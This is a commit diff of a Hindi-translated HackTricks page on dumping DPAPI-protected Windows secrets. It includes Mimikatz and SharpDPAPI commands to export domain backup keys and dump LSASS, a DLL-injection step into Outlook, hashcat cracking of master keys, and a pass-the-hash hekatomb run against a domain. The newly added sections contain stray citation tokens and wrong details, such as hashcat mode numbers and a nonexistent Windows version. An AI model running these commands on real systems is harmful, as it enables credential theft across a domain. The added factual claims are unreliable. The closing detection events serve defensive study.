Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

This commit is contained in:
Translator 2025-07-10 10:20:25 +00:00
parent 014c56fde4
commit d4ef32e12e

View File

@ -1,38 +1,38 @@
# DPAPI - Extracting Passwords
# DPAPI - पासवर्ड निकालना
{{#include ../../banners/hacktricks-training.md}}
## What is DPAPI
## DPAPI क्या है
Data Protection API (DPAPI) मुख्य रूप से Windows ऑपरेटिंग सिस्टम के भीतर **असमान निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा का प्रबंधन करने की आवश्यकता को समाप्त कर देता है।
डेटा प्रोटेक्शन एपीआई (DPAPI) मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर **असमान्य निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा प्रबंधित करने की आवश्यकता को समाप्त कर देता है।
DPAPI का उपयोग करने का सबसे सामान्य तरीका **`CryptProtectData` और `CryptUnprotectData`** फ़ंक्शंस के माध्यम से है, जो अनुप्रयोगों को वर्तमान में लॉग इन किए गए प्रक्रिया के सत्र के साथ डेटा को सुरक्षित रूप से एन्क्रिप्ट और डिक्रिप्ट करने की अनुमति देते हैं। इसका मतलब है कि एन्क्रिप्ट किया गया डेटा केवल उसी उपयोगकर्ता या सिस्टम द्वारा डिक्रिप्ट किया जा सकता है जिसने इसे एन्क्रिप्ट किया था।
इसके अलावा, ये फ़ंक्शंस एक **`entropy` पैरामीटर** को भी स्वीकार करते हैं, जिसका उपयोग एन्क्रिप्शन और डिक्रिप्शन के दौरान किया जाएगा, इसलिए, इस पैरामीटर का उपयोग करके एन्क्रिप्ट की गई किसी चीज़ को डिक्रिप्ट करने के लिए, आपको वही एंट्रॉपी मान प्रदान करना होगा जो एन्क्रिप्शन के दौरान उपयोग किया गया था।
### Users key generation
### उपयोगकर्ताओं की कुंजी उत्पन्न करना
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः यह SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**
यह विशेष रूप से दिलचस्प है क्योंकि यदि एक हमलावर उपयोगकर्ता के पासवर्ड हैश प्राप्त कर सकता है, तो वे:
यह विशेष रूप से दिलचस्प है क्योंकि यदि एक हमलावर उपयोगकर्ता के पासवर्ड हैश को प्राप्त कर सकता है, तो वे:
- **DPAPI का उपयोग करके एन्क्रिप्ट किए गए किसी भी डेटा को डिक्रिप्ट कर सकते हैं** उस उपयोगकर्ता की कुंजी के साथ बिना किसी API से संपर्क किए
- **पासवर्ड को क्रैक करने** की कोशिश कर सकते हैं ऑफलाइन सही DPAPI कुंजी उत्पन्न करने की कोशिश करते हुए
इसके अलावा, हर बार जब कोई डेटा DPAPI का उपयोग करके एक उपयोगकर्ता द्वारा एन्क्रिप्ट किया जाता है, तो एक नया **मास्टर कुंजी** उत्पन्न होता है। यह मास्टर कुंजी वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। प्रत्येक मास्टर कुंजी को एक **GUID** (Globally Unique Identifier) दिया जाता है जो इसे पहचानता है।
इसके अलावा, हर बार जब कोई डेटा DPAPI का उपयोग करके एक उपयोगकर्ता द्वारा एन्क्रिप्ट किया जाता है, तो एक न**मास्टर कुंजी** उत्पन्न होती है। यह मास्टर कुंजी वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। प्रत्येक मास्टर कुंजी को एक **GUID** (ग्लोबली यूनिक आइडेंटिफायर) दिया जाता है जो इसे पहचानता है।
मास्टर कुंजियाँ **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उस उपयोगकर्ता का सुरक्षा पहचानकर्ता है। मास्टर कुंजी उपयोगकर्ता के **`pre-key`** द्वारा एन्क्रिप्ट की गई है और पुनर्प्राप्ति के लिए एक **डोमेन बैकअप कुंजी** द्वारा भी (इसलिए वही कुंजी 2 अलग-अलग पास द्वारा 2 बार एन्क्रिप्ट की गई है)।
ध्यान दें कि **मास्टर कुंजी को एन्क्रिप्ट करने के लिए उपयोग की जाने वाली डोमेन कुंजी डोमेन नियंत्रकों में होती है और कभी नहीं बदलती**, इसलिए यदि एक हमलावर के पास डोमेन नियंत्रक तक पहुंच है, तो वे डोमेन बैकअप कुंजी प्राप्त कर सकते हैं और डोमेन में सभी उपयोगकर्ताओं की मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं।
ध्यान दें कि **मास्टर कुंजी को एन्क्रिप्ट करने के लिए उपयोग की जाने वाली डोमेन कुंजी डोमेन नियंत्रकों में होती है और कभी नहीं बदलती**, इसलिए यदि एक हमलावर के पास डोमेन नियंत्रक तक पहुंच है, तो वे डोमेन बैकअप कुंजी को पुनर्प्राप्त कर सकते हैं और डोमेन में सभी उपयोगकर्ताओं की मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं।
एन्क्रिप्टेड ब्लॉब्स में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर के भीतर
एन्क्रिप्टेड ब्लॉब्स में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर में
> [!NOTE]
> [!TIP]
> DPAPI एन्क्रिप्टेड ब्लॉब्स **`01 00 00 00`** से शुरू होते हैं
Find master keys:
मास्टर कुंजियाँ खोजें:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -51,7 +51,7 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
ध्यान दें कि ये कुंजियाँ **डोमेन बैकअप** नहीं रखती हैं इसलिए ये केवल स्थानीय रूप से उपलब्ध हैं:
- **Mimikatz** इसे LSA रहस्यों को डंप करने के लिए कमांड का उपयोग करके एक्सेस कर सकता है: `mimikatz lsadump::secrets`
- **Mimikatz** इसे LSA रहस्यों को डंप करके एक्सेस कर सकता है, कमांड का उपयोग करते हुए: `mimikatz lsadump::secrets`
- रहस्य रजिस्ट्री के अंदर संग्रहीत है, इसलिए एक व्यवस्थापक **इस तक पहुँचने के लिए DACL अनुमतियों को संशोधित कर सकता है**। रजिस्ट्री पथ है: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### DPAPI द्वारा संरक्षित डेटा
@ -64,7 +64,7 @@ DPAPI द्वारा संरक्षित व्यक्तिगत
- साझा फ़ोल्डरों, संसाधनों, वायरलेस नेटवर्क और Windows Vault के लिए पासवर्ड, जिसमें एन्क्रिप्शन कुंजियाँ शामिल हैं
- रिमोट डेस्कटॉप कनेक्शनों, .NET पासपोर्ट, और विभिन्न एन्क्रिप्शन और प्रमाणीकरण उद्देश्यों के लिए निजी कुंजियाँ
- क्रेडेंशियल प्रबंधक द्वारा प्रबंधित नेटवर्क पासवर्ड और CryptProtectData का उपयोग करने वाले अनुप्रयोगों में व्यक्तिगत डेटा, जैसे Skype, MSN मैसेंजर, और अधिक
- रजिस्टर के अंदर एन्क्रिप्टेड ब्लॉब
- रजिस्ट के अंदर एन्क्रिप्टेड ब्लॉब
- ...
सिस्टम द्वारा संरक्षित डेटा में शामिल हैं:
@ -74,7 +74,7 @@ DPAPI द्वारा संरक्षित व्यक्तिगत
### मास्टर कुंजी निष्कर्षण विकल्प
- यदि उपयोगकर्ता के पास डोमेन व्यवस्थापक विशेषाधिकार हैं, तो वे **डोमेन बैकअप कुंजी** का उपयोग करके डोमेन में सभी उपयोगकर्ता मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं:
- यदि उपयोगकर्ता के पास डोमेन व्यवस्थापक विशेषाधिकार हैं, तो वे **डोमेन बैकअप कुंजी** तक पहुँच सकते हैं ताकि डोमेन में सभी उपयोगकर्ता मास्टर कुंजियों को डिक्रिप्ट किया जा सके:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -82,12 +82,12 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- स्थानीय प्रशासनिक विशेषाधिकारों के साथ, **LSASS मेमोरी** तक पहुँच प्राप्त करना संभव है ताकि सभी जुड़े उपयोगकर्ताओं के DPAPI मास्टर कुंजी और SYSTEM कुंजी निकाली जा सकें।
- स्थानीय प्रशासनिक विशेषाधिकारों के साथ, यह **LSASS मेमोरी** तक पहुँच प्राप्त करना संभव है ताकि सभी जुड़े उपयोगकर्ताओं के DPAPI मास्टर कुंजी और SYSTEM कुंजी निकाली जा सकें।
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषाधिकार हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA रहस्य** तक पहुँच सकते हैं:
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषाधिकार हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA सीक्रेट** तक पहुँच सकते हैं:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
@ -100,7 +100,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- यदि आप एक सत्र के अंदर उपयोगकर्ता के रूप में हैं, तो आप DC से **मास्टर कुंजियों को डिक्रिप्ट करने के लिए बैकअप कुंजी** मांग सकते हैं। यदि आप स्थानीय प्रशासक हैं और उपयोगकर्ता लॉग इन है, तो आप इसके लिए **उसका सत्र टोकन चुरा सकते हैं**:
- यदि आप एक सत्र के अंदर उपयोगकर्ता के रूप में हैं, तो **RPC का उपयोग करके मास्टर कुंजियों को डिक्रिप्ट करने के लिए DC से बैकअप कुंजी मांगना संभव है**। यदि आप स्थानीय प्रशासक हैं और उपयोगकर्ता लॉग इन है, तो आप इसके लिए **उसका सत्र टोकन चुरा सकते हैं**:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -134,7 +134,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) फ़ाइल सिस्टम, रजिस्ट्री और B64 ब्लॉब में DPAPI एन्क्रिप्टेड ब्लॉब्स को खोज सकता है:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) फ़ाइल सिस्टम, रजिस्ट्री और B64 ब्लॉब्स में DPAPI एन्क्रिप्टेड ब्लॉब्स को खोज सकता है:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -194,7 +194,7 @@ SharpDPAPI.exe masterkeys /rpc
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **एक मास्टरकी का उपयोग करके डेटा डिक्रिप्ट करें**:
- **एक मास्टरकी का उपयोग करके डेटा को डिक्रिप्ट करें**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -202,7 +202,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह संभव है `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ता सत्र का उपयोग करना...)
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह संभव है `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ताओं के सत्र का उपयोग करना...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -229,9 +229,34 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### वैकल्पिक एंट्रॉपी का प्रबंधन ("तीसरे पक्ष की एंट्रॉपी")
कुछ अनुप्रयोग `CryptProtectData` को एक अतिरिक्त **एंट्रॉपी** मान पास करते हैं। इस मान के बिना, ब्लॉब को डिक्रिप्ट नहीं किया जा सकता, भले ही सही मास्टरकी ज्ञात हो। इस प्रकार संरक्षित क्रेडेंशियल्स को लक्षित करते समय एंट्रॉपी प्राप्त करना आवश्यक है (जैसे Microsoft Outlook, कुछ VPN क्लाइंट)।
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक उपयोगकर्ता-मोड DLL है जो लक्षित प्रक्रिया के भीतर DPAPI कार्यों को हुक करता है और किसी भी वैकल्पिक एंट्रॉपी को पारदर्शी रूप से रिकॉर्ड करता है जो प्रदान की जाती है। `outlook.exe` या `vpnclient.exe` जैसी प्रक्रियाओं के खिलाफ **DLL-injection** मोड में EntropyCapture चलाने से एक फ़ाइल उत्पन्न होगी जो प्रत्येक एंट्रॉपी बफर को कॉल करने वाली प्रक्रिया और ब्लॉब से मैप करती है। कैप्चर की गई एंट्रॉपी को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को डेटा को डिक्रिप्ट करने के लिए प्रदान किया जा सकता है। citeturn5search0
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्रारूप पेश किया। `hashcat` v6.2.6 (दिसंबर 2023) ने हैश-मोड **22100** (DPAPI masterkey v1 context), **22101** (context 1) और **22102** (context 3) जोड़े, जो उपयोगकर्ता पासवर्ड को सीधे masterkey फ़ाइल से GPU-त्वरित क्रैकिंग की अनुमति देते हैं। इसलिए हमलावर शब्द-सूची या ब्रूट-फोर्स हमले कर सकते हैं बिना लक्ष्य प्रणाली के साथ इंटरैक्ट किए। citeturn8search1
`DPAPISnoop` (2024) प्रक्रिया को स्वचालित करता है:
```bash
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
यह उपकरण Credential और Vault blobs को भी पार्स कर सकता है, उन्हें क्रैक किए गए कुंजियों के साथ डिक्रिप्ट कर सकता है और स्पष्ट पाठ पासवर्ड को निर्यात कर सकता है।
### अन्य मशीन डेटा तक पहुँचें
**SharpDPAPI और SharpChrome** में आप **`/server:HOST`** विकल्प का उपयोग करके एक दूरस्थ मशीन के डेटा तक पहुँच सकते हैं। बेशक, आपको उस मशीन तक पहुँचने में सक्षम होना चाहिए और निम्नलिखित उदाहरण में यह माना गया है कि **डोमेन बैकअप एन्क्रिप्शन कुंजी ज्ञात है**:
**SharpDPAPI और SharpChrome** में आप **`/server:HOST`** विकल्प का संकेत दे सकते हैं ताकि एक दूरस्थ मशीन के डेटा तक पहुँच सकें। बेशक, आपको उस मशीन तक पहुँचने में सक्षम होना चाहिए और निम्नलिखित उदाहरण में यह माना गया है कि **डोमेन बैकअप एन्क्रिप्शन कुंजी ज्ञात है**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -240,27 +265,50 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) एक उपकरण है जो LDAP निर्देशिका से सभी उपयोगकर्ताओं और कंप्यूटरों के निष्कर्षण और RPC के माध्यम से डोमेन नियंत्रक बैकअप कुंजी के निष्कर्षण को स्वचालित करता है। स्क्रिप्ट फिर सभी कंप्यूटरों के आईपी पते को हल करेगी और सभी कंप्यूटरों पर smbclient का प्रदर्शन करेगी ताकि सभी उपयोगकर्ताओं के सभी DPAPI ब्लॉब्स को पुनः प्राप्त किया जा सके और सब कुछ डोमेन बैकअप कुंजी के साथ डिक्रिप्ट किया जा सके।
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) एक उपकरण है जो LDAP निर्देशिका से सभी उपयोगकर्ताओं और कंप्यूटरों के निष्कर्षण और RPC के माध्यम से डोमेन नियंत्रक बैकअप कुंजी के निष्कर्षण को स्वचालित करता है। स्क्रिप्ट फिर सभी कंप्यूटरों के IP पते को हल करेगी और सभी कंप्यूटरों पर smbclient का प्रदर्शन करेगी ताकि सभी उपयोगकर्ताओं के सभी DPAPI ब्लॉब्स को पुनः प्राप्त किया जा सके और सब कुछ डोमेन बैकअप कुंजी के साथ डिक्रिप्ट किया जा सके।
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
LDAP से निकाले गए कंप्यूटरों की सूची के साथ आप हर उप नेटवर्क को ढूंढ सकते हैं भले ही आप उन्हें नहीं जानते हों!
### DonPAPI
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) स्वचालित रूप से DPAPI द्वारा संरक्षित रहस्यों को डंप कर सकता है।
[**DonPAPI**](https://github.com/login-securite/DonPAPI) स्वचालित रूप से DPAPI द्वारा संरक्षित रहस्यों को डंप कर सकता है। 2.x रिलीज़ में शामिल हैं:
### सामान्य पहचान
* सैकड़ों होस्ट से ब्लॉब्स का समानांतर संग्रह
* **context 3** मास्टरकी का पार्सिंग और स्वचालित Hashcat क्रैकिंग एकीकरण
* Chrome "App-Bound" एन्क्रिप्टेड कुकीज़ के लिए समर्थन (अगले अनुभाग को देखें)
* एक नया **`--snapshot`** मोड जो बार-बार एंडपॉइंट्स को पोल करता है और नए बनाए गए ब्लॉब्स का अंतर करता है citeturn1search2
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) मास्टरकी/क्रेडेंशियल/वॉल्ट फ़ाइलों के लिए एक C# पार्सर है जो Hashcat/JtR प्रारूपों को आउटपुट कर सकता है और वैकल्पिक रूप से स्वचालित रूप से क्रैकिंग को सक्रिय कर सकता है। यह Windows 11 24H1 तक मशीन और उपयोगकर्ता मास्टरकी प्रारूपों का पूरी तरह से समर्थन करता है। citeturn2search0
## सामान्य पहचान
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` और अन्य DPAPI-संबंधित निर्देशिकाओं में फ़ाइलों तक पहुँच।
- विशेष रूप से C$ या ADMIN$ जैसे नेटवर्क शेयर से।
- LSASS मेमोरी तक पहुँचने के लिए Mimikatz का उपयोग।
- घटना **4662**: एक वस्तु पर एक ऑपरेशन किया गया था।
- इस घटना की जांच की जा सकती है कि क्या `BCKUPKEY` वस्तु तक पहुँच गई थी।
- विशेष रूप से **C$** या **ADMIN$** जैसे नेटवर्क शेयर से।
- LSASS मेमोरी तक पहुँचने या मास्टरकी को डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान उपकरणों का उपयोग।
- इवेंट **4662**: *एक वस्तु पर एक ऑपरेशन किया गया था* इसे **`BCKUPKEY`** वस्तु तक पहुँच के साथ सहसंबंधित किया जा सकता है।
- इवेंट **4673/4674** जब एक प्रक्रिया *SeTrustedCredManAccessPrivilege* (क्रेडेंशियल प्रबंधक) का अनुरोध करती है।
---
### 2023-2025 कमजोरियाँ और पारिस्थितिकी तंत्र में परिवर्तन
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (नवंबर 2023)। एक हमलावर जिसके पास नेटवर्क पहुँच है, एक डोमेन सदस्य को एक दुर्भावनापूर्ण DPAPI बैकअप कुंजी प्राप्त करने के लिए धोखा दे सकता है, जिससे उपयोगकर्ता मास्टरकी का डिक्रिप्शन संभव हो जाता है। नवंबर 2023 के संचयी अपडेट में पैच किया गया प्रशासकों को सुनिश्चित करना चाहिए कि DCs और कार्यस्थानों को पूरी तरह से पैच किया गया है। citeturn4search0
* **Chrome 127 “App-Bound” कुकी एन्क्रिप्शन** (जुलाई 2024) ने विरासती DPAPI-केवल सुरक्षा को एक अतिरिक्त कुंजी के साथ बदल दिया जो उपयोगकर्ता के **क्रेडेंशियल प्रबंधक** के तहत संग्रहीत होती है। कुकीज़ का ऑफ़लाइन डिक्रिप्शन अब DPAPI मास्टरकी और **GCM-लिपटे ऐप-बाउंड कुंजी** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x उपयोगकर्ता संदर्भ के साथ चलने पर अतिरिक्त कुंजी को पुनः प्राप्त करने में सक्षम हैं। citeturn0search0
## संदर्भ
- [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
{{#include ../../banners/hacktricks-training.md}}